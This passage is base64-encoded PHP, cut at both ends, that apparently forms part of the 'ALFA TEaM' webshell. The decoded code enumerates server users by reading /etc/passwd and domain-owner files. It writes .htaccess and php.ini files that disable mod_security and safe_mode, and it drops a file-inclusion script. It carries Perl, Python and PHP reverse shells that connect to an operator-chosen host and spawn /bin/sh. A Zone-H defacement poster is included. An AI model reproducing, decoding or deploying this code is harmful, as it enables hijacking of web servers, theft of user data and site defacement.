nN1Ym1pdD0iZyhcJ3NhZmVcJyxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxcJ3ZhbGlhc2VzXCcsdGhpcy5zaXRlLnZhbHVlLG51bGwsdGhpcy5nby52YWx1ZSk7IHJldHVybiBmYWxzZTsiIG1ldGhvZD0icG9zdCIgYWN0aW9uPSIiIC8+DQo8aW5wdXQgdHlwZT0idGV4dCIgcGxhY2Vob2xkZXI9InNpdGUuY29tIiBuYW1lPSJzaXRlIiAvPg0KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9Ij4+IiBuYW1lPSJnbyIgLz4NCjwvZm9ybT48L2NlbnRlcj4NCic7DQppZigkX1BPU1RbJ2FsZmE5J10gJiYgJF9QT1NUWydhbGZhOSddID09ICc+PicpDQp7DQppZighQGZpbGVfZXhpc3RzKCIvZXRjL3ZpcnR1YWwvZG9tYWlub3duZXJzIikpew0KaWYoZnVuY3Rpb25fZXhpc3RzKCJwb3NpeF9nZXRwd3VpZCIpICYmIGZ1bmN0aW9uX2V4aXN0cygiZmlsZW93bmVyIikpew0KJHNpdGUgPSB0cmltKCRfUE9TVFsnYWxmYTcnXSk7DQokcmVwID0gc3RyX3JlcGxhY2UoYXJyYXkoImh0dHBzOi8vIiwiaHR0cDovLyIsInd3dy4iKSwiIiwkc2l0ZSk7DQppZigkdXNlciA9IHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoIi9ldGMvdmFsaWFzZXMveyRyZXB9IikpKXsNCmlmKCR1c2VyWyduYW1lJ10hPSAncm9vdCcpew0KZWNobyAiPHByZSBpZD1cInN0ck91dHB1dFwiIHN0eWxlPVwibWFyZ2luLXRvcDo1cHhcIiBjbGFzcz1cIm1sMVwiPg0KPGNlbnRlcj4NCjx0YWJsZSBib3JkZXI9MT4NCjx0cj48dGQ+PGI+PGZvbnQgY29sb3I9XCIjRkZGRkZGXCI+VXNlcjogPC9iPjwvZm9udD48L3RkPjx0ZD48Yj48Zm9udCBjb2xvcj1cIiNGRjAwMDBcIj57JHVzZXJbJ25hbWUnXX08L2ZvbnQ+PC9iPjwvdGQ+PC90cj4NCjx0cj48dGQ+PGI+PGZvbnQgY29sb3I9XCIjRkZGRkZGXCI+c2l0ZTogPC9iPjwvZm9udD48L3RkPjx0ZD48Yj48Zm9udCBjb2xvcj1cIiNGRjAwMDBcIj57JHJlcH08L2ZvbnQ+PC9iPjwvdGQ+PC90cj4NCjwvdGFibGU+DQo8L2NlbnRlcj4iO319fQ0KZWxzZSB7ZWNobyAnPHByZSBpZD0ic3RyT3V0cHV0IiBzdHlsZT0ibWFyZ2luLXRvcDo1cHgiIGNsYXNzPSJtbDEiPjxici8+PGNlbnRlcj48Yj5ObyBzdWNoIGZpbGUgb3IgZGlyZWN0b3J5IE9yIERpc2FibGUgRnVuY3Rpb25zIGlzIG5vdCBOT05FLi4uPC9iPjwvY2VudGVyPic7fQ0KfWVsc2V7DQokc2l0ZSA9IHRyaW0oJF9QT1NUWydhbGZhNyddKTsNCiRyZXAgPSBzdHJfcmVwbGFjZShhcnJheSgiaHR0cHM6Ly8iLCJodHRwOi8vIiwid3d3LiIpLCIiLCRzaXRlKTsNCiR1c2VycyA9IEBmaWxlKCIvZXRjL3ZpcnR1YWwvZG9tYWlub3duZXJzIik7DQpmb3JlYWNoKCR1c2VycyBhcyAkYm96KXsNCiRleCA9IGV4cGxvZGUoIjoiLCRib3opOw0KaWYoJGV4WzBdID09ICRyZXApew0KZWNobyAiPHByZSBpZD1cInN0ck91dHB1dFwiIHN0eWxlPVwibWFyZ2luLXRvcDo1cHhcIiBjbGFzcz1cIm1sMVwiPg0KPGNlbnRlcj4NCjx0YWJsZSBib3JkZXI9MT4NCjx0cj48dGQ+PGI+PGZvbnQgY29sb3I9XCIjRkZGRkZGXCI+VXNlcjogPC9iPjwvZm9udD48L3RkPjx0ZD48Yj48Zm9udCBjb2xvcj1cIiNGRjAwMDBcIj4iLnRyaW0oJGV4WzFdKS4iPC9mb250PjwvYj48L3RkPjwvdHI+DQo8dHI+PHRkPjxiPjxmb250IGNvbG9yPVwiI0ZGRkZGRlwiPnNpdGU6IDwvYj48L2ZvbnQ+PC90ZD48dGQ+PGI+PGZvbnQgY29sb3I9XCIjRkYwMDAwXCI+eyRyZXB9PC9mb250PjwvYj48L3RkPjwvdHI+PC90YWJsZT48L2NlbnRlcj4iO2JyZWFrO319fX19DQppZighZW1wdHkoJF9QT1NUWydhbGZhNSddKSAmJiBpc3NldCgkX1BPU1RbJ2FsZmE1J10pKQ0Kew0KaWYoIUBmaWxlX2V4aXN0cygiL2V0Yy92aXJ0dWFsL2RvbWFpbm93bmVycyIpKXsNCmVjaG8gJzxwcmUgaWQ9InN0ck91dHB1dCIgc3R5bGU9Im1hcmdpbi10b3A6NXB4IiBjbGFzcz0ibWwxIj4nOw0KJGkgPSAwOw0Kd2hpbGUgKCRpIDwgNjAwMDApIHsNCiRsaW5lID0gcG9zaXhfZ2V0cHd1aWQoJGkpOw0KaWYgKCFlbXB0eSgkbGluZSkpIHsNCndoaWxlIChsaXN0ICgka2V5LCAkdmwpID0gZWFjaCgkbGluZSkpew0KZWNobyAkdmwuIlxuIjsNCmJyZWFrO319JGkrKzt9DQp9ZWxzZXtlY2hvICc8cHJlIGlkPSJzdHJPdXRwdXQiIHN0eWxlPSJtYXJnaW4tdG9wOjVweCIgY2xhc3M9Im1sMSI+PGJyPic7DQokdXNlcnMgPSBAZmlsZSgiL2V0Yy92aXJ0dWFsL2RvbWFpbm93bmVycyIpOw0KZm9yZWFjaCgkdXNlcnMgYXMgJGJveil7DQokdXNlciA9IGV4cGxvZGUoIjoiLCRib3opOw0KZWNobyB0cmltKCR1c2VyWzFdKS4nPGJyPic7fX19DQppZighZW1wdHkoJF9QT1NUWydhbGZhNCddKSAmJiBpc3NldCgkX1BPU1RbJ2FsZmE0J10pKXsNCmVjaG8gJzxwcmUgaWQ9InN0ck91dHB1dCIgc3R5bGU9Im1hcmdpbi10b3A6NXB4IiBjbGFzcz0ibWwxIj4nOw0KaWYoZnVuY3Rpb25fZXhpc3RzKCJzeXN0ZW0iKSB8fCBmdW5jdGlvbl9leGlzdHMoImV4ZWMiKSB8fCBmdW5jdGlvbl9leGlzdHMoInBhc3N0aHJ1IikgfHwgZnVuY3Rpb25fZXhpc3RzKCJzaGVsbF9leGVjIikpe2VjaG8gYWxmYUV4KCJjYXQgL2V0Yy9wYXNzd2QiKTt9DQplbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCJmaWxlX2dldF9jb250ZW50cyIpICYmIGlzX3JlYWRhYmxlKCIvZXRjL3Bhc3N3ZCIpKXsNCmVjaG8gZmlsZV9nZXRfY29udGVudHMoIi9ldGMvcGFzc3dkIik7fQ0KZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0cHd1aWQiKSl7DQpmb3IoJHVpZD0wOyR1aWQ8NjAwMDA7JHVpZCsrKXsNCiRhcmEgPSBAcG9zaXhfZ2V0cHd1aWQoJHVpZCk7DQppZiAoIWVtcHR5KCRhcmEpKSB7DQp3aGlsZSAobGlzdCAoJGtleSwgJHZhbCkgPSBlYWNoKCRhcmEpKXsNCnByaW50ICIkdmFsOiI7DQp9cHJpbnQgIlxuIjt9fQ0KfSBlbHNle2VjaG8gJzxzY3JpcHQ+YWxlcnQoIkVycm9yIGluIGJ5cGFzcy4uLiBpbSBzb3JyeTpcKCIpPC9zY3JpcHQ+Jzt9fQ0KaWYoIWVtcHR5KCRfUE9TVFsnYWxmYTInXSkgJiYgaXNzZXQoJF9QT1NUWydhbGZhMiddKSl7DQokZmlsPWZvcGVuKCRHTE9CQUxTWydjd2QnXS4iLmh0YWNjZXNzIiwidyIpOw0KZndyaXRlKCRmaWwsJyNHZW5lcmF0ZWQgQnkgU29sZSBTYWQgYW5kIEludmlzaWJsZQ0KPElmTW9kdWxlIG1vZF9zZWN1cml0eS5jPg0KU2VjLS0tLS0tRW5naW5lIE9mZg0KU2VjLS0tLS0tU2NhblBPU1QgT2ZmDQo8L0lmTW9kdWxlPicpOw0KZmNsb3NlKCRmaWwpOw0KZWNobyAnPHNjcmlwdD5hbGVydCgiaHRhY2Nlc3MgZm9yIEFwYWNoZSBpcyBjcmVhdGVkLi4uISIpPC9zY3JpcHQ+JzsNCn0NCmlmKCFlbXB0eSgkX1BPU1RbJ2FsZmExJ10pJiYgaXNzZXQoJF9QT1NUWydhbGZhMSddKSkNCnsNCiRmaWw9Zm9wZW4oJEdMT0JBTFNbJ2N3ZCddLiJwaHAuaW5pIiwidyIpOw0KZndyaXRlKCRmaWwsJ3NhZmVfbW9kZT1PRkYNCmRpc2FibGVfZnVuY3Rpb25zPUJ5UGFzcyBCeSBTb2xlIFNhZCAmIEludmlzaWJsZShBTEZBIFRFYU0pJyk7DQpmY2xvc2UoJGZpbCk7DQokZmlsZTI9Zm9wZW4oJEdMT0JBTFNbJ2N3ZCddLiJpbmkucGhwIiwidyIpOw0KZndyaXRlKCRmaWxlMiwnPD8NCmVjaG8gaW5pX2dldCgic2FmZV9tb2RlIik7DQplY2hvIGluaV9nZXQoIm9wZW5fYmFzZWRpciIpOw0KaW5jbHVkZSgkX0dFVFsiZmlsZSJdKTsNCmluaV9yZXN0b3JlKCJzYWZlX21vZGUiKTsNCmluaV9yZXN0b3JlKCJvcGVuX2Jhc2VkaXIiKTsNCmVjaG8gaW5pX2dldCgic2FmZV9tb2RlIik7DQplY2hvIGluaV9nZXQoIm9wZW5fYmFzZWRpciIpOw0KaW5jbHVkZSgkX0dFVFsic3MiXSk7DQo/PicpOw0KZmNsb3NlKCRmaWxlMik7DQplY2hvICc8c2NyaXB0PmFsZXJ0KCJwaHAuaW5pICYmIGluaS5waHAgaXMgY3JlYXRlZC4uLiEiKTwvc2NyaXB0Pic7DQp9DQppZighZW1wdHkoJF9QT1NUWydhbGZhMyddKSAmJiBpc3NldCgkX1BPU1RbJ2FsZmEzJ10pKQ0Kew0KJGZpbD1mb3BlbigkR0xPQkFMU1snY3dkJ10uIi5odGFjY2VzcyIsInciKTsNCmZ3cml0ZSgkZmlsLCcjR2VuZXJhdGVkIEJ5IFNvbGUgU2FkIGFuZCBJbnZpc2libGUNCjxGaWxlcyAqLnBocD4NCkZvcmNlVHlwZSBhcHBsaWNhdGlvbi94LWh0dHBkLXBocDQNCjwvRmlsZXM+DQphaG0gdGFzOiA8SWZNb2R1bGUgbW9kX3NlY3VyaXR5LmM+DQpTZWNGaWx0ZXJFbmdpbmUgT2ZmDQpTZWNGaWx0ZXJTY2FuUE9TVCBPZmYNCjwvSWZNb2R1bGU+Jyk7DQpmY2xvc2UoJGZpbCk7DQplY2hvICc8c2NyaXB0PmFsZXJ0KCJodGFjY2VzcyBmb3IgTGl0ZXNwZWVkIGlzIGNyZWF0ZWQuLi4hIik8L3NjcmlwdD4nOw0KfQ0KZWNobyAiPGJyPjwvZGl2PiI7DQphbGZhZm9vdGVyKCk7DQp9DQpmdW5jdGlvbiBhbGZhY29ubmVjdCgpDQp7DQphbGZhaGVhZCgpOw0KJGJhY2tfY29ubmVjdF9wPSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRcDFjMlVnVTI5amEyVjBPdzBLSkdsaFpHUnlQV2x1WlhSZllYUnZiaWdrUVZKSFZsc3dYU2tnZkh3Z1pHbGxLQ0pGY25KdmNqb2dKQ0ZjYmlJcE93MEtKSEJoWkdSeVBYTnZZMnRoWkdSeVgybHVLQ1JCVWtkV1d6RmRMQ0FrYVdGa1pISXBJSHg4SUdScFpTZ2lSWEp5YjNJNklDUWhYRzRpS1RzTkNpUndjbTkwYnoxblpYUndjbTkwYjJKNWJtRnRaU2duZEdOd0p5azdEUXB6YjJOclpYUW9VMDlEUzBWVUxDQlFSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnSkhCeWIzUnZLU0I4ZkNCa2FXVW9Ja1Z5Y205eU9pQWtJVnh1SWlrN0RRcGpiMjV1WldOMEtGTlBRMHRGVkN3Z0pIQmhaR1J5S1NCOGZDQmthV1VvSWtWeWNtOXlPaUFrSVZ4dUlpazdEUXB2Y0dWdUtGTlVSRWxPTENBaVBpWlRUME5MUlZRaUtUc05DbTl3Wlc0b1UxUkVUMVZVTENBaVBpWlRUME5MUlZRaUtUc05DbTl3Wlc0b1UxUkVSVkpTTENBaVBpWlRUME5MUlZRaUtUc05Dbk41YzNSbGJTZ25MMkpwYmk5emFDQXRhU2NwT3cwS1kyeHZjMlVvVTFSRVNVNHBPdzBLWTJ4dmMyVW9VMVJFVDFWVUtUc05DbU5zYjNObEtGTlVSRVZTVWlrNyI7DQokYmFja19jb25uZWN0X3B5PSJJeUV2ZFhOeUwySnBiaTl3ZVhSb2IyNE5DZzBLYVcxd2IzSjBJSE41Y3l3Z2MyOWphMlYwTENCdmN5d2djM1ZpY0hKdlkyVnpjdzBLRFFwb2IzTjBJRDBnYzNsekxtRnlaM1piTVYwTkNuQnZjblFnUFNCcGJuUW9jM2x6TG1GeVozWmJNbDBwRFFvTkNuTnZZMnRsZEM1elpYUmtaV1poZFd4MGRHbHRaVzkxZENnMk1Da05DZzBLWkdWbUlHSmpLQ2s2RFFvZ0lIUnllVG9OQ2lBZ0lDQnpiMnNnUFNCemIyTnJaWFF1YzI5amEyVjBLSE52WTJ0bGRDNUJSbDlKVGtWVUxITnZZMnRsZEM1VFQwTkxYMU5VVWtWQlRTa05DaUFnSUNCemIyc3VZMjl1Ym1WamRDZ29hRzl6ZEN4d2IzSjBLU2tOQ2lBZ0lDQnpiMnN1YzJWdVpDZ25KeWR6YjJ4bGRtbHphV0pzWlVCbmJXRnBiQzVqYjIxY2JseHVKeWNuS1EwS0lDQWdJRzl6TG1SMWNESW9jMjlyTG1acGJHVnVieWdwTERBcERRb2dJQ0FnYjNNdVpIVndNaWh6YjJzdVptbHNaVzV2S0Nrc01Ta05DaUFnSUNCdmN5NWtkWEF5S0hOdmF5NW1hV3hsYm04b0tTd3lLUTBLSUNBZ0lHOXpMbVIxY0RJb2MyOXJMbVpwYkdWdWJ5Z3BMRE1wRFFvZ0lDQWdjMmhsYkd3Z1BTQnpkV0p3Y205alpYTnpMbU5oYkd3b1d5SXZZbWx1TDNOb0lpd2lMV2tpWFNrTkNpQWdaWGhqWlhCMElITnZZMnRsZEM1MGFXMWxiM1YwT2cwS0lDQWdJSEJ5YVc1MElDSmJJVjBnUTI5dWJtVmpkR2x2YmlCMGFXMWxaQ0J2ZFhRaURRb2dJR1Y0WTJWd2RDQnpiMk5yWlhRdVpYSnliM0lzSUdVNkRRb2dJQ0FnY0hKcGJuUWdJbHNoWFNCRmNuSnZjaUIzYUdsc1pTQmpiMjV1WldOMGFXNW5JaXdnWlEwS0lDQU5DbUpqS0NrPSI7DQplY2hvICI8ZGl2IGNsYXNzPWhlYWRlcj48Y2VudGVyPjxoMz48c3Bhbj58IEJhY2sgQ29ubmVjdCB8PC9zcGFuPjwvaDM+IjsNCmVjaG8gIjxmb3JtIG9uU3VibWl0PVwiZyhudWxsLG51bGwsJ2JjcCcsdGhpcy5zZXJ2ZXIudmFsdWUsdGhpcy5wb3J0LnZhbHVlKTtyZXR1cm4gZmFsc2U7XCI+PHNwYW4+PGZvbnQgY29sb3I9XCIjMDBBMjIwXCI+UEVSTCBCQUNLIENPTk5FQ1Q8L2ZvbnQ+PGJyPjwvc3Bhbj48YnI+PGZvbnQgY29sb3I9XCIjMDBBMjIwXCI+PGI+SVA6IDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdzZXJ2ZXInIHZhbHVlPSciLiAkX1NFUlZFUlsnUkVNT1RFX0FERFInXSAuIic+IFBvcnQ6IDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdwb3J0JyB2YWx1ZT0nNDQzJz4gPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+PC9mb3JtPjwvYj48L2ZvbnQ+IjsNCmVjaG8gIjxicj48Zm9ybSBvblN1Ym1pdD1cImcobnVsbCxudWxsLCdwaHAnLHRoaXMuc2VydmVyLnZhbHVlLHRoaXMucG9ydC52YWx1ZSk7cmV0dXJuIGZhbHNlO1wiPjxzcGFuPlBIUCBCQUNLIENPTk5FQ1Q8YnI+PC9zcGFuPjxicj48Zm9udCBjb2xvcj1cIiNGRkZGRkZcIj48Yj5JUDogPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3NlcnZlcicgdmFsdWU9JyIuICRfU0VSVkVSWydSRU1PVEVfQUREUiddIC4iJz4gUG9ydDogPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3BvcnQnIHZhbHVlPSc0NDMnPiA8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Jz4+Jz48L2Zvcm0+PGJyPiI7DQplY2hvICI8YnI+PGZvcm0gb25TdWJtaXQ9XCJnKG51bGwsbnVsbCwncHknLHRoaXMuc2VydmVyLnZhbHVlLHRoaXMucG9ydC52YWx1ZSk7cmV0dXJuIGZhbHNlO1wiPjxzcGFuPjxmb250IGNvbG9yPVwiI0ZGMDAwMFwiPlBZVEhPTiBCQUNLIENPTk5FQ1Q8L2ZvbnQ+PGJyPjwvc3Bhbj48YnI+PGZvbnQgY29sb3I9XCIjRkYwMDAwXCI+PGI+SVA6IDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdzZXJ2ZXInIHZhbHVlPSciLiAkX1NFUlZFUlsnUkVNT1RFX0FERFInXSAuIic+IFBvcnQ6IDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdwb3J0JyB2YWx1ZT0nNDQzJz4gPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+PC9mb3JtPjwvY2VudGVyPjxicj4iOw0KaWYoaXNzZXQoJF9QT1NUWydhbGZhMSddKSkgew0KZnVuY3Rpb24gY2YoJGYsJHQpIHsNCiR3ID0gQGZvcGVuKCRmLCJ3Iikgb3IgQGZ1bmN0aW9uX2V4aXN0cygnZmlsZV9wdXRfY29udGVudHMnKTsNCmlmKCR3KXsNCkBmd3JpdGUoJHcsQGJhc2U2NF9kZWNvZGUoJHQpKTsNCkBmY2xvc2UoJHcpOw0KfQ0KfQ0KaWYoJF9QT1NUWydhbGZhMSddID09ICdiY3AnKSB7DQpjZigiL3RtcC9iYy5wbCIsJGJhY2tfY29ubmVjdF9wKTsNCiRvdXQgPSBhbGZhRXgoInBlcmwgL3RtcC9iYy5wbCAiLiRfUE9TVFsnYWxmYTInXS4iICIuJF9QT1NUWydhbGZhMyddLiIgMT4vZGV2L251bGwgMj4mMSAmIik7DQplY2hvICI8cHJlIGNsYXNzPW1sMSBzdHlsZT0nbWFyZ2luLXRvcDo1cHgnPlN1Y2Nlc3NmdWxseSBvcGVuZWQgcmV2ZXJzZSBzaGVsbCB0byAiLiRfUE9TVFsnYWxmYTInXS4iOiIuJF9QT1NUWydhbGZhMyddLiI8YnI+Q29ubmVjdGluZy4uLltQZXJsXTwvcHJlPiI7DQpAdW5saW5rKCIvdG1wL2JjLnBsIik7DQp9DQppZigkX1BPU1RbJ2FsZmExJ10gPT0gJ3B5Jykgew0KY2YoIi90bXAvYmMucHkiLCRiYWNrX2Nvbm5lY3RfcHkpOw0KJG91dCA9IGFsZmFFeCgicHl0aG9uIC90bXAvYmMucHkgIi4kX1BPU1RbJ2FsZmEyJ10uIiAiLiRfUE9TVFsnYWxmYTMnXS4iIDE+L2Rldi9udWxsIDI+JjEgJiIpOw0KZWNobyAiPHByZSBjbGFzcz1tbDEgc3R5bGU9J21hcmdpbi10b3A6NXB4Jz5TdWNjZXNzZnVsbHkgb3BlbmVkIHJldmVyc2Ugc2hlbGwgdG8gIi4kX1BPU1RbJ2FsZmEyJ10uIjoiLiRfUE9TVFsnYWxmYTMnXS4iPGJyPkNvbm5lY3RpbmcuLi5bUHl0aG9uXTwvcHJlPiI7DQpAdW5saW5rKCIvdG1wL2JjLnB5Iik7DQp9DQppZigkX1BPU1RbJ2FsZmExJ109PSdwaHAnKQ0Kew0KQHNldF90aW1lX2xpbWl0ICgwKTsNCiRpcCA9ICRfUE9TVFsnYWxmYTInXTsNCiRwb3J0ID0kX1BPU1RbJ2FsZmEzJ107DQokY2h1bmtfc2l6ZSA9IDE0MDA7DQokd3JpdGVfYSA9IG51bGw7DQokZXJyb3JfYSA9IG51bGw7DQokc2hlbGwgPSAndW5hbWUgLWE7IHc7IGlkOyAvYmluL3NoIC1pJzsNCiRkYWVtb24gPSAwOw0KJGRlYnVnID0gMDsNCmVjaG8gIjxwcmUgY2xhc3M9bWwxIHN0eWxlPSdtYXJnaW4tdG9wOjVweCc+IjsNCmlmIChmdW5jdGlvbl9leGlzdHMoJ3BjbnRsX2ZvcmsnKSkgew0KJHBpZCA9IHBjbnRsX2ZvcmsoKTsNCmlmICgkcGlkID09IC0xKSB7DQplY2hvICJDYW50IGZvcmshPGJyPiI7DQpleGl0KDEpOw0KfQ0KaWYgKCRwaWQpIHsNCmV4aXQoMCk7DQp9DQppZiAocG9zaXhfc2V0c2lkKCkgPT0gLTEpIHsNCmVjaG8gIkVycm9yOiBDYW4ndCBzZXRzaWQoKTxicj4iOw0KZXhpdCgxKTsNCn0NCiRkYWVtb24gPSAxOw0KfSBlbHNlIHsNCmVjaG8gIldBUk5JTkc6IEZhaWxlZCB0byBkYWVtb25pc2UuIFRoaXMgaXMgcXVpdGUgY29tbW9uIGFuZCBub3QgZmF0YWw8YnI+IjsNCn0NCmNoZGlyKGh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKSk7DQp1bWFzaygwKTsNCiRzb2NrID0gZnNvY2tvcGVuKCRpcCwgJHBvcnQsICRlcnJubywgJGVycnN0ciwgMzApOw0KaWYgKCEkc29jaykgew0KZWNobyAiJGVycnN0ciAoJGVycm5vKSI7DQpleGl0KDEpOw0KfQ0KJGRlc2NyaXB0b3JzcGVjID0gYXJyYXkoDQowID0+IGFycmF5KCJwaXBlIiwgInIiKSwNCjEgPT4gYXJyYXkoInBpcGUiLCAidyIpLA0KMiA9PiBhcnJheSgicGlwZSIsICJ3IikNCik7DQokcHJvY2VzcyA9IHByb2Nfb3Blbigkc2hlbGwsICRkZXNjcmlwdG9yc3BlYywgJHBpcGVzKTsNCmlmICghaXNfcmVzb3VyY2UoJHByb2Nlc3MpKSB7DQplY2hvICJFUlJPUjogQ2FuJ3Qgc3Bhd24gc2hlbGw8YnI+IjsNCmV4aXQoMSk7DQp9DQpAc3RyZWFtX3NldF9ibG9ja2luZygkcGlwZXNbMF0sIDApOw0KQHN0cmVhbV9zZXRfYmxvY2tpbmcoJHBpcGVzWzFdLCAwKTsNCkBzdHJlYW1fc2V0X2Jsb2NraW5nKCRwaXBlc1syXSwgMCk7DQpAc3RyZWFtX3NldF9ibG9ja2luZygkc29jaywgMCk7DQplY2hvICJTdWNjZXNzZnVsbHkgb3BlbmVkIHJldmVyc2Ugc2hlbGwgdG8gJGlwOiRwb3J0IFtQaHBdPGJyPiI7DQp3aGlsZSAoMSkgew0KaWYgKGZlb2YoJHNvY2spKSB7DQplY2hvICJFUlJPUjogU2hlbGwgY29ubmVjdGlvbiB0ZXJtaW5hdGVkPGJyPiI7DQpicmVhazsNCn0NCmlmIChmZW9mKCRwaXBlc1sxXSkpIHsNCmVjaG8gIkVSUk9SOiBTaGVsbCBwcm9jZXNzIHRlcm1pbmF0ZWQ8YnI+IjsNCmJyZWFrOw0KfQ0KJHJlYWRfYSA9IGFycmF5KCRzb2NrLCAkcGlwZXNbMV0sICRwaXBlc1syXSk7DQokbnVtX2NoYW5nZWRfc29ja2V0cz1Ac3RyZWFtX3NlbGVjdCgkcmVhZF9hLCAkd3JpdGVfYSwgJGVycm9yX2EsIG51bGwpOw0KaWYgKGluX2FycmF5KCRzb2NrLCAkcmVhZF9hKSkgew0KaWYgKCRkZWJ1ZykgZWNobyAiU09DSyBSRUFEPGJyPiI7DQokaW5wdXQ9ZnJlYWQoJHNvY2ssICRjaHVua19zaXplKTsNCmlmICgkZGVidWcpIGVjaG8gIlNPQ0s6ICRpbnB1dDxicj4iOw0KZndyaXRlKCRwaXBlc1swXSwgJGlucHV0KTsNCn0NCmlmIChpbl9hcnJheSgkcGlwZXNbMV0sICRyZWFkX2EpKSB7DQppZiAoJGRlYnVnKSBlY2hvICJTVERPVVQgUkVBRDxicj4iOw0KJGlucHV0ID0gZnJlYWQoJHBpcGVzWzFdLCAkY2h1bmtfc2l6ZSk7DQppZiAoJGRlYnVnKSBlY2hvICJTVERPVVQ6ICRpbnB1dDxicj4iOw0KZndyaXRlKCRzb2NrLCAkaW5wdXQpOw0KfQ0KaWYgKGluX2FycmF5KCRwaXBlc1syXSwgJHJlYWRfYSkpIHsNCmlmICgkZGVidWcpIGVjaG8gIlNUREVSUiBSRUFEPGJyPiI7DQokaW5wdXQgPSBmcmVhZCgkcGlwZXNbMl0sICRjaHVua19zaXplKTsNCmlmICgkZGVidWcpIGVjaG8gIlNUREVSUjogJGlucHV0PGJyPiI7DQpmd3JpdGUoJHNvY2ssICRpbnB1dCk7DQp9DQp9DQpmY2xvc2UoJHNvY2spOw0KZmNsb3NlKCRwaXBlc1swXSk7DQpmY2xvc2UoJHBpcGVzWzFdKTsNCmZjbG9zZSgkcGlwZXNbMl0pOw0KcHJvY19jbG9zZSgkcHJvY2Vzcyk7DQplY2hvICI8L3ByZT4iOw0KfQ0KfQ0KZWNobyAiPC9kaXY+IjsNCmFsZmFmb290ZXIoKTsNCn0NCmZ1bmN0aW9uIFpvbmVIKCR1cmwsICRoYWNrZXIsICRoYWNrbW9kZSwkcmVzb24sICRzaXRlICkNCnsNCiRrID0gY3VybF9pbml0KCk7DQpjdXJsX3NldG9wdCgkaywgQ1VSTE9QVF9VUkwsICR1cmwpOw0KY3VybF9zZXRvcHQoJGssQ1VSTE9QVF9QT1NULHRydWUpOw0KY3VybF9zZXRvcHQoJGssIENVUkxPUFRfUE9TVEZJRUxEUywiZGVmYWNlcj0iLiRoYWNrZXIuIiZkb21haW4xPSIuICRzaXRlLiImaGFja21vZGU9Ii4kaGFja21vZGUuIiZyZWFzb249Ii4kcmVzb24pOw0KY3VybF9zZXRvcHQoJGssQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgdHJ1ZSk7DQpjdXJsX3NldG9wdCgkaywgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgdHJ1ZSk7DQoka3VicmEgPSBjdXJsX2V4ZWMoJGspOw0KY3VybF9jbG9zZSgkayk7DQpyZXR1cm4gJGt1YnJhOw0KfQ0KZnVuY3Rpb24gYWxmYXpvbmVoKCkNCnsNCmFsZmFoZWFkKCk7DQplY2hvICc8ZGl2IGNsYXNzPWhlYWRlcj4nOw0KaWYoIWZ1bmN0aW9uX2V4aXN0cygnY3VybF92ZXJzaW9uJykpDQp7DQplY2hvICI8cHJlIGNsYXNzPW1sMSBzdHlsZT0nbWFyZ2luLXRvcDo1cHgnPjxjZW50ZXI+PGZvbnQgY29sb3I9cmVkPjxiPjxiaWc+PGJpZz5QSFAgQ1VSTCBOT1QgRVhJU1QgfiBaT05FIEggTUFTUyBQT1NURVIgRE9FUyBOT1QgV09SSzwvYj48L2ZvbnQ+PC9iaWc+PC9iaWc+PC9jZW50ZXI+PC9wcmU+IjsNCn0NCmVjaG8gJw0KPGNlbnRlcj48YnI+PGI+PGZvbnQgY29sb3I9IiNGRkZGMDEiPj09PC9mb250PiA8Zm9udCBjb2xvcj0iIzAwQTIyMCI+Wk9ORS1IPC9mb250PiA8Zm9udCBjb2xvcj0iI0ZGRkZGRiI+TWFzczwvZm9udD4gPGZvbnQgY29sb3I9IiNGRjAwMDAiPlBvc3RlcjwvZm9udD48Zm9udCBjb2xvcj0iI0ZGRkYwMSI+ID09PC9mb250PjwvYj48Y2VudGVyPjxicj4NCjxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiIG9uc3VibWl0PSJnKFwnem9uZWhcJyxudWxsLHRoaXMuZGVmYWNlci52YWx1ZSx0aGlzLmhhY2ttb2RlLnZhbHVlLHRoaXMucmVhc29uLnZhbHVlLHRoaXMuZG9tYWluLnZhbHVlLHRoaXMuZ28udmFsdWUpOyByZXR1cm4gZmFsc2U7Ij4NCjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJkZWZhY2VyIiBzaXplPSI2NyIgaWQ9InRleHQiIHZhbHVlPSJBTEZBIFRFYU0gMjAxMiIgLz4NCjxicj4NCjxzZWxlY3QgaWQ9InRleHQiIG5hbWU9ImhhY2ttb2RlIj4NCjxvcHRpb24+LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tU0VMRUNULS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLTwvb3B0aW9uPg0KPG9wdGlvbiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogcmdiKEYsIEYsIEYpOyIgdmFsdWU9IjEiID5rbm93biB2dWxuZXJhYmlsaXR5IChpLmUuIHVucGF0Y2hlZCBzeXN0ZW0pPC9vcHRpb24+DQo8b3B0aW9uIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiByZ2IoRiwgRiwgRik7IiB2YWx1ZT0iMiIgPnVuZGlzY2xvc2VkIChuZXcpIHZ1bG5lcmFiaWxpdHk8L29wdGlvbj4NCjxvcHRpb24gc3R5bGU9ImJhY2tncm91bmQtY29sb3I6IHJnYihGLCBGLCBGKTsiIHZhbHVlPSIzIiA+Y29uZmlndXJhdGlvbiAvIGFkbWluLiBtaXN0YWtlPC9vcHRpb24+DQo8b3B0aW9uIHN0e